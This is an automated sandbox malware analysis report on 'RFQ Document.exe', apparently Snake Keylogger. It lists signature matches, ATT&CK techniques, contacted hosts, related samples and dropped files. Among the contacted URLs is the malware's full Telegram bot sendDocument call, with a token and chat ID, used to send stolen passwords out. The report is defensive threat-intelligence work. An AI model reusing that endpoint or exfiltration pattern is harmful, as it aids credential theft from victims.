Source: Yara match	File source: 1.2.RFQ Document.exe.e7e1458.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.22f0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RFQ Document.exe.e7d0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RFQ Document.exe.e7d0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.415058.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.RFQ Document.exe.415058.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.415058.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.RFQ Document.exe.415058.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000001.671831085.0000000000414000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.926087127.0000000000798000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.926695160.00000000024D6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.674264323.000000000E7D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.926522731.00000000022F0000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.925923176.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.928008306.0000000004942000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.927923134.0000000003461000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RFQ Document.exe PID: 2628, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RFQ Document.exe PID: 6484, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	Path Interception	Process Injection112	Disable or Modify Tools1	OS Credential Dumping2	System Time Discovery1	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Web Service1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	System Shutdown/Reboot1
Default Accounts	Command and Scripting Interpreter2	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Deobfuscate/Decode Files or Information1	LSASS Memory	File and Directory Discovery2	Remote Desktop Protocol	Data from Local System2	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information2	Security Account Manager	System Information Discovery26	SMB/Windows Admin Shares	Email Collection1	Automated Exfiltration	Encrypted Channel11	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Software Packing31	NTDS	Security Software Discovery21	Distributed Component Object Model	Clipboard Data1	Scheduled Transfer	Non-Application Layer Protocol3	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Process Injection112	LSA Secrets	Process Discovery2	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol14	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	Remote System Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	System Network Configuration Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
RFQ Document.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsf2EF6.tmp\tkwj.dll	100%	Joe Sandbox ML

Unpacked PE Files

Source	Detection	Scanner	Label	Download
1.0.RFQ Document.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1130366	Download File
2.1.RFQ Document.exe.400000.0.unpack	100%	Avira	TR/ATRAPS.Gen	Download File
2.2.RFQ Document.exe.4940000.5.unpack	100%	Avira	HEUR/AGEN.1106066	Download File
2.2.RFQ Document.exe.400000.1.unpack	100%	Avira	TR/ATRAPS.Gen	Download File
1.2.RFQ Document.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1130366	Download File
2.0.RFQ Document.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1130366	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://freegeoip.app/xml/	0%	URL Reputation	safe
https://api.telegram.orgD81lT8	0%	Avira URL Cloud	safe
https://api.telegram.orgD81lL-	0%	Avira URL Cloud	safe
https://api.telegram.orgD81lda0	0%	Avira URL Cloud	safe
http://schemas.m	0%	URL Reputation	safe
https://api.telegram.orgD81lLc	0%	Avira URL Cloud	safe
https://api.telegram.orgD81lD	0%	Avira URL Cloud	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
https://api.telegram.org41lX	0%	Avira URL Cloud	safe
https://api.telegram.orgD81l$U	0%	Avira URL Cloud	safe
https://api.telegram.orgD81l$T	0%	Avira URL Cloud	safe
https://api.telegram.orgD81ll	0%	Avira URL Cloud	safe
https://api.telegram.orgD81lT~	0%	Avira URL Cloud	safe
https://api.telegram.orgD81l4	0%	Avira URL Cloud	safe
https://api.telegram.orgD81lt	0%	Avira URL Cloud	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
https://api.telegram.orgD81ldb	0%	Avira URL Cloud	safe
https://api.telegram.orgD81l(	0%	Avira URL Cloud	safe
https://api.telegram.orgD81lLH	0%	Avira URL Cloud	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe
https://freegeoip.app/xml/84.17.52.39	0%	Avira URL Cloud	safe
https://api.telegram	0%	Avira URL Cloud	safe
https://freegeoip.app41l	0%	Avira URL Cloud	safe
https://api.telegram.orgD81l	0%	Avira URL Cloud	safe
https://api.telegram.orgD81lDP	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
freegeoip.app	172.67.188.154	true	false	unknown
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	132.226.8.169	true	false	unknown
clientconfig.passport.net	unknown	unknown	true	unknown
checkip.dyndns.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake	false		high
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
https://freegeoip.app/xml/84.17.52.39	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://freegeoip.app/xml/	RFQ Document.exe, RFQ Document.exe, 00000002.00000001.671831085.0000000000414000.00000040.00020000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.orgD81lT8	RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.orgD81lL-	RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://api.telegram.orgD81lda0	RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.m	RFQ Document.exe	false	URL Reputation: safe	unknown
https://api.telegram.org/bot	RFQ Document.exe, RFQ Document.exe, 00000002.00000001.671831085.0000000000414000.00000040.00020000.sdmp	false		high
https://api.telegram.orgD81lLc	RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.orgD81lD	RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org	RFQ Document.exe, 00000002.00000002.926600469.0000000002461000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org41lX	RFQ Document.exe, 00000002.00000002.926695160.00000000024D6000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.orgD81l$U	RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://nsis.sf.net/NSIS_ErrorError	RFQ Document.exe	false		high
https://api.telegram.orgD81l$T	RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://api.telegram.orgD81ll	RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.orgD81lT~	RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://api.telegram.orgD81l4	RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.orgD81lt	RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_Error	RFQ Document.exe	false		high
https://api.telegram.orgD81ldb	RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.orgD81l(	RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://api.telegram.orgD81lLH	RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/q	RFQ Document.exe, 00000001.00000002.674264323.000000000E7D0000.00000004.00000001.sdmp, RFQ Document.exe, 00000002.00000001.671831085.0000000000414000.00000040.00020000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram	RFQ Document.exe, 00000002.00000003.861059471.0000000002A86000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
https://freegeoip.app41l	RFQ Document.exe, 00000002.00000002.926634482.00000000024A7000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.orgD81l	RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.orgD81lL	RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RFQ Document.exe, 00000002.00000002.926600469.0000000002461000.00000004.00000001.sdmp	false		high
https://api.telegram.orgD81lDP	RFQ Document.exe, 00000002.00000002.929106581.0000000005EFE000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664	RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp, RFQ Document.exe, 00000002.00000003.861005087.0000000002A7A000.00000004.00000001.sdmp	false		high
https://api.telegram.orgD81lT	RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	false		unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
132.226.8.169	checkip.dyndns.com	United States	16989	UTMEMUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
172.67.188.154	freegeoip.app	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	491944
Start date:	28.09.2021
Start time:	07:57:01
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 23s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	RFQ Document.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/2@5/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 23.7% (good quality ratio 15.3%) Quality average: 54.2% Quality standard deviation: 43.8%
HCA Information:	Successful, ratio: 82% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe TCP Packets have been reduced to 100 Excluded IPs from analysis (whitelisted): 23.203.80.193, 13.107.246.254, 96.16.150.73, 13.107.3.254, 52.113.196.254, 20.82.210.154, 23.211.6.115, 173.222.108.210, 173.222.108.226, 20.54.110.249, 40.112.88.60, 20.82.209.183, 80.67.82.235, 80.67.82.211 Excluded domains from analysis (whitelisted): s-ring.msedge.net, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a767.dspw65.akamai.net, a1449.dscg2.akamai.net, arc.msn.com, e11290.dspg.akamaiedge.net, e13551.dscg.akamaiedge.net, msagfx.live.com-6.edgekey.net, teams-9999.teams-msedge.net, e12564.dspb.akamaiedge.net, authgfx.msa.akadns6.net, go.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu-shim.trafficmanager.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, t-ring.msedge.net, s-ring.s-9999.s-msedge.net, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, t-9999.t-msedge.net, s-9999.s-msedge.net, store-images.s-microsoft.com, go.microsoft.com.edgekey.net, teams-ring.teams-9999.teams-msedge.net, t-ring.t-9999.t-msedge.net, teams-ring.msedge.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found. VT rate limit hit for: /opt/package/joesandbox/database/analysis/491944/sample/RFQ Document.exe

Simulations

Behavior and APIs

Time	Type	Description
07:58:09	API Interceptor	2x Sleep call for process: RFQ Document.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
132.226.8.169	FACTURA POR DOCUMENTO_PDF_.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	#Uc7ac #Uc8fc#Ubb38 #Ud655#Uc778,pdf.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	Pendants.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	DHL Awb_ Docs 5544834610_pdf.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	NS. ORDINE N. 141.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	Yeni sipari#U015f _WJO-001, pdf.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	quotation.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	jxTv73rSIY.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	IMPORTS INVOICE.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	PO No. SMC -458964-005.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	Quotation -Scan001_No- 9300340731.doc.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	product portolio.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	r1DQMRFhNghY3LC.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	eFatura KontrolEXD2021000000173.pdf.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	RFQ NO 97121533- UNPLANED PR OGI 3214 - VALVES(FP 4333-17) pdf.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	Drawing and Specification.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	1tkcPigLWj.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	SCANNED DOCUMENT 00001.rtf	Get hash	malicious	Browse	checkip.dyndns.org/
	order_list.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	new order.exe	Get hash	malicious	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
api.telegram.org	TT09876545678T8R456.exe	Get hash	malicious	Browse	149.154.167.220
	01_extracted.exe	Get hash	malicious	Browse	149.154.167.220
	Order_0178PDF.exe	Get hash	malicious	Browse	149.154.167.220
	ZNoKWifQwj.exe	Get hash	malicious	Browse	149.154.167.220
	DHL Air Waybill NO_10019272778.pdf.exe	Get hash	malicious	Browse	149.154.167.220
	MfHRwz3hGD.exe	Get hash	malicious	Browse	149.154.167.220
	2acrvok36Y.exe	Get hash	malicious	Browse	149.154.167.220
	Atlasship_O2ASV706248.exe	Get hash	malicious	Browse	149.154.167.220
	TT09876545678T8R456.exe	Get hash	malicious	Browse	149.154.167.220
	TT3456522345.exe	Get hash	malicious	Browse	149.154.167.220
	kundeserv.exe	Get hash	malicious	Browse	149.154.167.220
	dhl.exe	Get hash	malicious	Browse	149.154.167.220
	6MC579H2Rk.exe	Get hash	malicious	Browse	149.154.167.220
	temp order.exe	Get hash	malicious	Browse	149.154.167.220
	PO.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.Trojan.NSISX.Spy.Gen.2.2591.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.W32.AIDetect.malware1.22628.exe	Get hash	malicious	Browse	149.154.167.220
	bGnjv3RdRI.exe	Get hash	malicious	Browse	149.154.167.220
	hSqkX3ZIw4.exe	Get hash	malicious	Browse	149.154.167.220
	pF4vlHFijX.exe	Get hash	malicious	Browse	149.154.167.220
freegeoip.app	FACTURA POR DOCUMENTO_PDF_.exe	Get hash	malicious	Browse	172.67.188.154
	hqMneZDbE6m33i1.exe	Get hash	malicious	Browse	104.21.19.200
	o6U6dMCbP3.exe	Get hash	malicious	Browse	104.21.19.200
	Invoice M470031261, M470031262, M470031263.exe	Get hash	malicious	Browse	172.67.188.154
	Payment Confirmation TT reference po.exe	Get hash	malicious	Browse	172.67.188.154
	GU#U00cdA DE CARGA...exe	Get hash	malicious	Browse	104.21.19.200
	TT09876545678T8R456.exe	Get hash	malicious	Browse	104.21.19.200
	01_extracted.exe	Get hash	malicious	Browse	104.21.19.200
	SOA.exe	Get hash	malicious	Browse	172.67.188.154
	S.O.A.exe	Get hash	malicious	Browse	172.67.188.154
	LFC _ X#U00e1c nh#U1eadn #U0111#U01a1n h#U00e0ng _ Kh#U1ea9n c#U1ea5p,pdf.exe	Get hash	malicious	Browse	104.21.19.200
	#U0916#U0930#U0940#U0926 #U0906#U0926#U0947#U0936-34002174,pdf.exe	Get hash	malicious	Browse	172.67.188.154
	DHL NOTIFICATIONS.exe	Get hash	malicious	Browse	172.67.188.154
	DHL NOTIFICATION.exe	Get hash	malicious	Browse	172.67.188.154
	#Uc7ac #Uc8fc#Ubb38 #Ud655#Uc778,pdf.exe	Get hash	malicious	Browse	172.67.188.154
	2acrvok36Y.exe	Get hash	malicious	Browse	172.67.188.154
	Exodus.exe	Get hash	malicious	Browse	104.21.19.200
	Pendants.exe	Get hash	malicious	Browse	172.67.188.154
	09876567824567890987654.exe	Get hash	malicious	Browse	104.21.19.200
	DHL Awb_ Docs 5544834610_pdf.exe	Get hash	malicious	Browse	172.67.188.154

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TELEGRAMRU	CPHB7Z2buG.exe	Get hash	malicious	Browse	149.154.167.99
	aylGgMNibQ.exe	Get hash	malicious	Browse	149.154.167.99
	V3fm0d84mp.exe	Get hash	malicious	Browse	149.154.167.99
	Aqlmlmmeey.exe	Get hash	malicious	Browse	149.154.167.99
	6lGJNtdKHt.exe	Get hash	malicious	Browse	149.154.167.99
	nGiDZ9ZC2d.exe	Get hash	malicious	Browse	149.154.167.99
	xx2wsaL3cJ.exe	Get hash	malicious	Browse	149.154.167.99
	75fcGkVO1k.exe	Get hash	malicious	Browse	149.154.167.99
	8aAG42oIjb.exe	Get hash	malicious	Browse	149.154.167.99
	Zq0u07ZGkg.exe	Get hash	malicious	Browse	149.154.167.99
	jUV82t8dgh.exe	Get hash	malicious	Browse	149.154.167.99
	SecuriteInfo.com.W32.AIDetect.malware1.14529.exe	Get hash	malicious	Browse	149.154.167.99
	31cGYywxgy.exe	Get hash	malicious	Browse	149.154.167.99
	pAWNholT8X.exe	Get hash	malicious	Browse	149.154.167.99
	TT09876545678T8R456.exe	Get hash	malicious	Browse	149.154.167.220
	OARirszNK2.exe	Get hash	malicious	Browse	149.154.167.99
	rbQe356Ces.exe	Get hash	malicious	Browse	149.154.167.99
	01_extracted.exe	Get hash	malicious	Browse	149.154.167.220
	kzSWxYLY4H.exe	Get hash	malicious	Browse	149.154.167.99
	Order_0178PDF.exe	Get hash	malicious	Browse	149.154.167.220
UTMEMUS	FACTURA POR DOCUMENTO_PDF_.exe	Get hash	malicious	Browse	132.226.8.169
	o6U6dMCbP3.exe	Get hash	malicious	Browse	132.226.247.73
	TT09876545678T8R456.exe	Get hash	malicious	Browse	132.226.247.73
	LFC _ X#U00e1c nh#U1eadn #U0111#U01a1n h#U00e0ng _ Kh#U1ea9n c#U1ea5p,pdf.exe	Get hash	malicious	Browse	132.226.247.73
	#Uc7ac #Uc8fc#Ubb38 #Ud655#Uc778,pdf.exe	Get hash	malicious	Browse	132.226.8.169
	Pendants.exe	Get hash	malicious	Browse	132.226.8.169
	IH8yGKHMaA	Get hash	malicious	Browse	132.226.89.226
	DHL Awb_ Docs 5544834610_pdf.exe	Get hash	malicious	Browse	132.226.8.169
	NS. ORDINE N. 141.exe	Get hash	malicious	Browse	132.226.8.169
	KLC45E_92421_PI.exe	Get hash	malicious	Browse	132.226.247.73
	Yeni sipari#U015f _WJO-001, pdf.exe	Get hash	malicious	Browse	132.226.8.169
	3456787654567.exe	Get hash	malicious	Browse	132.226.247.73
	quotation.exe	Get hash	malicious	Browse	132.226.8.169
	Inquiry.exe	Get hash	malicious	Browse	132.226.247.73
	24678987650976500654.exe	Get hash	malicious	Browse	132.226.247.73
	REMITTANCE-54324.exe	Get hash	malicious	Browse	132.226.247.73
	jxTv73rSIY.exe	Get hash	malicious	Browse	132.226.8.169
	Order 20200822......PDF.exe	Get hash	malicious	Browse	132.226.247.73
	IMPORTS INVOICE.exe	Get hash	malicious	Browse	132.226.8.169
	PO No. SMC -458964-005.exe	Get hash	malicious	Browse	132.226.8.169

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	REQUEST FOR QUOTATION.exe	Get hash	malicious	Browse	172.67.188.154
	FACTURA POR DOCUMENTO_PDF_.exe	Get hash	malicious	Browse	172.67.188.154
	hqMneZDbE6m33i1.exe	Get hash	malicious	Browse	172.67.188.154
	o6U6dMCbP3.exe	Get hash	malicious	Browse	172.67.188.154
	Invoice M470031261, M470031262, M470031263.exe	Get hash	malicious	Browse	172.67.188.154
	Payment Confirmation TT reference po.exe	Get hash	malicious	Browse	172.67.188.154
	DHL AWB# 4AB19037XXX.pdf.exe	Get hash	malicious	Browse	172.67.188.154
	aQKifdER74.exe	Get hash	malicious	Browse	172.67.188.154
	s9SWgUgyO5.exe	Get hash	malicious	Browse	172.67.188.154
	GU#U00cdA DE CARGA...exe	Get hash	malicious	Browse	172.67.188.154
	q2D8haqKv5.exe	Get hash	malicious	Browse	172.67.188.154
	TT09876545678T8R456.exe	Get hash	malicious	Browse	172.67.188.154
	Original Shipping documents.exe	Get hash	malicious	Browse	172.67.188.154
	TAX INVOICE_CCU-30408495_00942998_20180910_194738.exe	Get hash	malicious	Browse	172.67.188.154
	RHgAncmh0E.exe	Get hash	malicious	Browse	172.67.188.154
	01_extracted.exe	Get hash	malicious	Browse	172.67.188.154
	INQUIRY LIST.exe	Get hash	malicious	Browse	172.67.188.154
	YTHK21082400.exe	Get hash	malicious	Browse	172.67.188.154
	Taskmgr.exe	Get hash	malicious	Browse	172.67.188.154
	SOA.exe	Get hash	malicious	Browse	172.67.188.154
3b5074b1b5d032e5620f69f9f700ff0e	LoTvACZ5sr.exe	Get hash	malicious	Browse	149.154.167.220
	Orient-Q21-0919.exe	Get hash	malicious	Browse	149.154.167.220
	xWKIUfcQRv.exe	Get hash	malicious	Browse	149.154.167.220
	TT09876545678T8R456.exe	Get hash	malicious	Browse	149.154.167.220
	01_extracted.exe	Get hash	malicious	Browse	149.154.167.220
	VESSEL SEPC'S - WECO BULK.doc.exe	Get hash	malicious	Browse	149.154.167.220
	Order_0178PDF.exe	Get hash	malicious	Browse	149.154.167.220
	2021092600983746_pdf.exe	Get hash	malicious	Browse	149.154.167.220
	Ov3tXE6rdw.exe	Get hash	malicious	Browse	149.154.167.220
	dL7mvARUBj.exe	Get hash	malicious	Browse	149.154.167.220
	qfgYtXS4Az.exe	Get hash	malicious	Browse	149.154.167.220
	2B97860AFD98DFF5BED238E2A2CE25977B50BA5356333.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.Variant.Razy.934040.7155.exe	Get hash	malicious	Browse	149.154.167.220
	J1IYv644YS.exe	Get hash	malicious	Browse	149.154.167.220
	SdNKkoXklZ.exe	Get hash	malicious	Browse	149.154.167.220
	2acrvok36Y.exe	Get hash	malicious	Browse	149.154.167.220
	DiscordDeveloperUpdate.exe	Get hash	malicious	Browse	149.154.167.220
	Exodus.exe	Get hash	malicious	Browse	149.154.167.220
	Ze7iQlRsAk.exe	Get hash	malicious	Browse	149.154.167.220
	fufx4OeSfW.exe	Get hash	malicious	Browse	149.154.167.220

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsf2EF6.tmp\tkwj.dll Download File
Process:	C:\Users\user\Desktop\RFQ Document.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	48640
Entropy (8bit):	6.2182104873428505
Encrypted:	false
SSDEEP:	768:4ioGJiW4t1H+5f7isHkd6xEiqymUEKRnJyQuhIaySqnN6ICFunphQF2H2jIRo1ik:qGJiW47s9zHkunphQF3ZHVuIXxy5iqdY
MD5:	A4B645ED197074158D7159BD47FA101B
SHA1:	E50E421AFBA9603D2E57137FF72ACA6256C14CF1
SHA-256:	15AEF55D8E9F0D4AD435E111DC346FDEB294A77EA06B8B053424B11C3CD6FBCD
SHA-512:	3CC5E9FD59DFD4E40F691D3DE9F5B9C809F5C4A3643D03606133CC608619923F96E4058598572BC716BFAE70173C50AFDD74C32A1D258AB036F3DA847EB86155
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l.3...`...`...`.o.a...`.o.a...`...`...`vS.a...`vS.a...`sS6`...`vS.a...`Rich...`........PE..L...."Ra...........!.....j...P............................................................@.........................0...H...t........................................................................................................................text....h.......j.................. ..`.bss.....................................rdata..,............n..............@..@.data....5.......6...~..............@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trhfchm3wzuw7 Download File
Process:	C:\Users\user\Desktop\RFQ Document.exe
File Type:	data
Category:	dropped
Size (bytes):	290815
Entropy (8bit):	7.9769874200086415
Encrypted:	false
SSDEEP:	6144:20av42lNrOZIL8wg3SbnMuuW/AZwHhFmxLU:20olpk3SXuWEwHhFkLU
MD5:	E91C3056A10910CB57D0F7FED6E8ED81
SHA1:	DE7514EBDA3F6754CDD5E4F27772DA0CD46D0CB9
SHA-256:	2180416E95180B0F3BC245FF4660ED8B6F6C3AD6014053C043C3EE487DD3BE41
SHA-512:	BD34E93EC9AAA59E434E9F38EEC253DAABD4F2FB2A3927E5ECCC5D147946C0238578C902A3E60388F46091C83024BB8EE0A4A8DCBAF8719899043AECECBAF6B6
Malicious:	false
Reputation:	low
